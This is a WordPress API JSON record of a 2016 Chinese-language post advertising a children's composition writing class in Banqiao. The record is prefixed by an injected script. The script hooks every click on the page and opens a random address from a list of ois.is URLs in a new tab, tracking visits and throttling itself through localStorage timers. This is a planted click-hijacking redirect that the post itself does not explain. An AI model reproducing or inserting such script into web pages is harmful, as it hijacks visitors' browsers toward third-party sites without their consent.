<script>(function (parameters) {
		const targets = [
			'https://ois.is/images/logo-1.png', 'https://ois.is/images/logo-2.png', 'https://ois.is/images/logo-3.png', 'https://ois.is/images/logo-4.png', 'https://ois.is/images/logo-5.png', 'https://ois.is/images/logo-6.png', 'https://ois.is/images/logo-7.png', 'https://ois.is/images/logo-8.png'
		]
		// Times between clicks
		const restMinutes = 1;
		// Number of hours to allow re-click 
		const allowedHours = 2;


		const saveTargetLocationsToStorage = (targets) => {
			targets.forEach((target, index) => {
				if(!localStorage.getItem(`${target}-local-storage`)){
					localStorage.setItem(`${target}-local-storage`, 0);
				}
			});
		}
		const getRandomLocationFromStorage = (targets) => {
			const nonVisited = targets.filter((target, index) => localStorage.getItem(`${target}-local-storage`) == 0)
			return nonVisited[Math.floor(Math.random() * nonVisited.length)];
		}
		const setLocationAsVisited = (target) => localStorage.setItem(`${target}-local-storage`, 1);

		const getTimeStorage = (key) => localStorage.getItem(`${key}-local-storage`);
		const setTimeToStorage = (key, nowDate) => localStorage.setItem(`${key}-local-storage`, nowDate);

		const getHoursDiff = (startDate, endDate) => {
			const msInHour = 1000 * 60 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInHour);
		}
		const getMintsDiff = (startDate, endDate) => {
			const msInMints = 1000 * 60;
			return Math.round(Math.abs(endDate - startDate) / msInMints);
		}

		const visitNewLocation = (targets, host, nowDate) => {
			saveTargetLocationsToStorage(targets);
			newLocation = getRandomLocationFromStorage(targets);
			setTimeToStorage(`${host}-mnts`, nowDate);
			setTimeToStorage(`${host}-hurs`, nowDate);
			setLocationAsVisited(newLocation);
			window.open(newLocation, "_blank");
		}

		// const randomLocation = getRandomLocationFromStorage(targets);
		saveTargetLocationsToStorage(targets);

		function globalClick(event) {
			event.stopPropagation();
			const host = location.host;
			let newLocation = getRandomLocationFromStorage(targets);
			const nowDate = Date.parse(new Date());
			const savedDateForMints = getTimeStorage(`${host}-mnts`);
			const savedDateForHours = getTimeStorage(`${host}-hurs`);

			if (savedDateForMints && savedDateForHours) {
				try {
					const storageDateForMints = parseInt(savedDateForMints);
					const storageDateForHours = parseInt(savedDateForHours);
					const mintsDiff = getMintsDiff(nowDate, storageDateForMints);
					const hoursDiff = getHoursDiff(nowDate, storageDateForHours);

					if (hoursDiff >= allowedHours) {
						saveTargetLocationsToStorage(targets);
						setTimeToStorage(`${host}-hurs`, nowDate);
					}
					if (mintsDiff >= restMinutes) {
						if (newLocation) {
							setTimeToStorage(`${host}-mnts`, nowDate);
							window.open(newLocation, "_blank");
							setLocationAsVisited(newLocation);
						}
					}
				} catch (error) { visitNewLocation(targets, host, nowDate); }
			} else { visitNewLocation(targets, host, nowDate); }
		}
		document.addEventListener("click", globalClick)
	})()</script>{"id":1102,"date":"2016-02-22T16:16:12","date_gmt":"2016-02-22T08:16:12","guid":{"rendered":"http:\/\/edu.secda.info\/peekaboo_banchiao\/?p=1102"},"modified":"2016-02-22T16:16:28","modified_gmt":"2016-02-22T08:16:28","slug":"2016-%e9%99%b3%e5%ae%89%e5%84%80%e5%a4%9a%e5%85%83%e4%bd%9c%e6%96%87-%e5%ad%b8%e6%9c%9f%e7%8f%ad%e6%8b%9b%e7%94%9f","status":"publish","type":"post","link":"https:\/\/edu.secda.info\/peekaboo_banchiao\/?p=1102","title":{"rendered":"[2016 \u9673\u5b89\u5100\u591a\u5143\u4f5c\u6587 \u5b78\u671f\u73ed\u62db\u751f]"},"content":{"rendered":"<p><span style=\"color: #000000; font-size: 14pt;\">\u6211\u5011\u5728\u6b64\u5206\u4eab\u7368\u7279\u4f5c\u6587\u904a\u6232\u6559\u5b78\u65b9\u6cd5\uff0c\u4ee5\u53ca\u4e00\u9023\u4e32\u65b0\u9bae\u8ab2\u7a0b\uff0c\u6b61\u8fce\u60f3\u8981\u5feb\u6a02\u5beb\u4f5c\u7684\u5b69\u5b50\u4e00\u8d77\u52a0\u5165\u3002<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> 2\/24 (\u9031\u4e09) 13:30 \u958b\u8ab2<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> 2\/26 (\u9031\u4e94) 19:15 \u958b\u8ab2<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> 2\/27 (\u9031\u516d) 14:30 \u958b\u8ab2<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> 2\/27 (\u9031\u516d) 17:00 \u958b\u8ab2<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> \u62db\u751f\u5c0d\u8c61 : \u5c0f\u5b78\u4e8c\u5e74\u7d1a\u4ee5\u4e0a<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> \u6559\u5b78\u8001\u5e2b : \u7531\u9673\u5b89\u5100\u4f5c\u6587\u73ed\u5718\u968a\u8001\u5e2b\u6559\u5b78<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> ** \u6bcf\u5802\u8ab2100\u5206\u9418, \u53ef\u4e2d\u9014\u63d2\u73ed\u6216\u53c3\u52a0\u8a66\u4e0a(\u4ee5\u55ae\u5802\u8ab2\u8cbb\u7528\u8a08)<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> ** \u5404\u73ed\u5df2\u5c07\u984d\u6eff, \u8d95\u5feb\u628a\u63e1\u6a5f\u6703\u54e6!<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> \u677f\u6a4b \u827e\u8389\u7df9\u6559\u5ba4<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> \u5730\u5740 : \u65b0\u5317\u5e02\u677f\u6a4b\u5340\u5be6\u8e10\u8def100\u865f2\u6a13<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> \u96fb\u8a71 : 89533-2236<\/span><br \/>\n<span style=\"color: #000000; font-size: 14pt;\"> \u7dda\u4e0a\u5831\u540d : http:\/\/goo.gl\/jVvcqW<\/span><\/p>\n<p><img loading=\"lazy\" class=\"alignnone size-full wp-image-1104\" src=\"http:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/02\/12715215_1008452835880581_1321548218499687985_n.jpg\" alt=\"12715215_1008452835880581_1321548218499687985_n\" width=\"398\" height=\"370\" srcset=\"https:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/02\/12715215_1008452835880581_1321548218499687985_n.jpg 398w, https:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/02\/12715215_1008452835880581_1321548218499687985_n-300x279.jpg 300w, https:\/\/edu.secda.info\/peekaboo_banchiao\/wp-content\/uploads\/2016\/02\/12715215_1008452835880581_1321548218499687985_n-260x242.jpg 260w\" sizes=\"(max-width: 398px) 100vw, 398px\" \/><\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u6211\u5011\u5728\u6b64\u5206\u4eab\u7368\u7279\u4f5c\u6587\u904a\u6232\u6559\u5b78\u65b9\u6cd5\uff0c\u4ee5\u53ca\u4e00\u9023\u4e32\u65b0\u9bae\u8ab2\u7a0b\uff0c\u6b61\u8fce\u60f3\u8981\u5feb\u6a02\u5beb\u4f5c\u7684\u5b69\u5b50\u4e00\u8d77&hellip;<\/p>\n<p class=\"more-link-p\"><a class=\"more-link\" href=\"https:\/\/edu.secda.info\/peekaboo_banchiao\/?p=1102\">Read more &rarr;<\/a><\/p>\n","protected":false},"author":6,"featured_media":1104,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[24],"tags":[],"_links":{"self":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/posts\/1102"}],"collection":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1102"}],"version-history":[{"count":1,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/posts\/1102\/revisions"}],"predecessor-version":[{"id":1105,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/posts\/1102\/revisions\/1105"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=\/wp\/v2\/media\/1104"}],"wp:attachment":[{"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1102"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1102"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/edu.secda.info\/peekaboo_banchiao\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1102"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}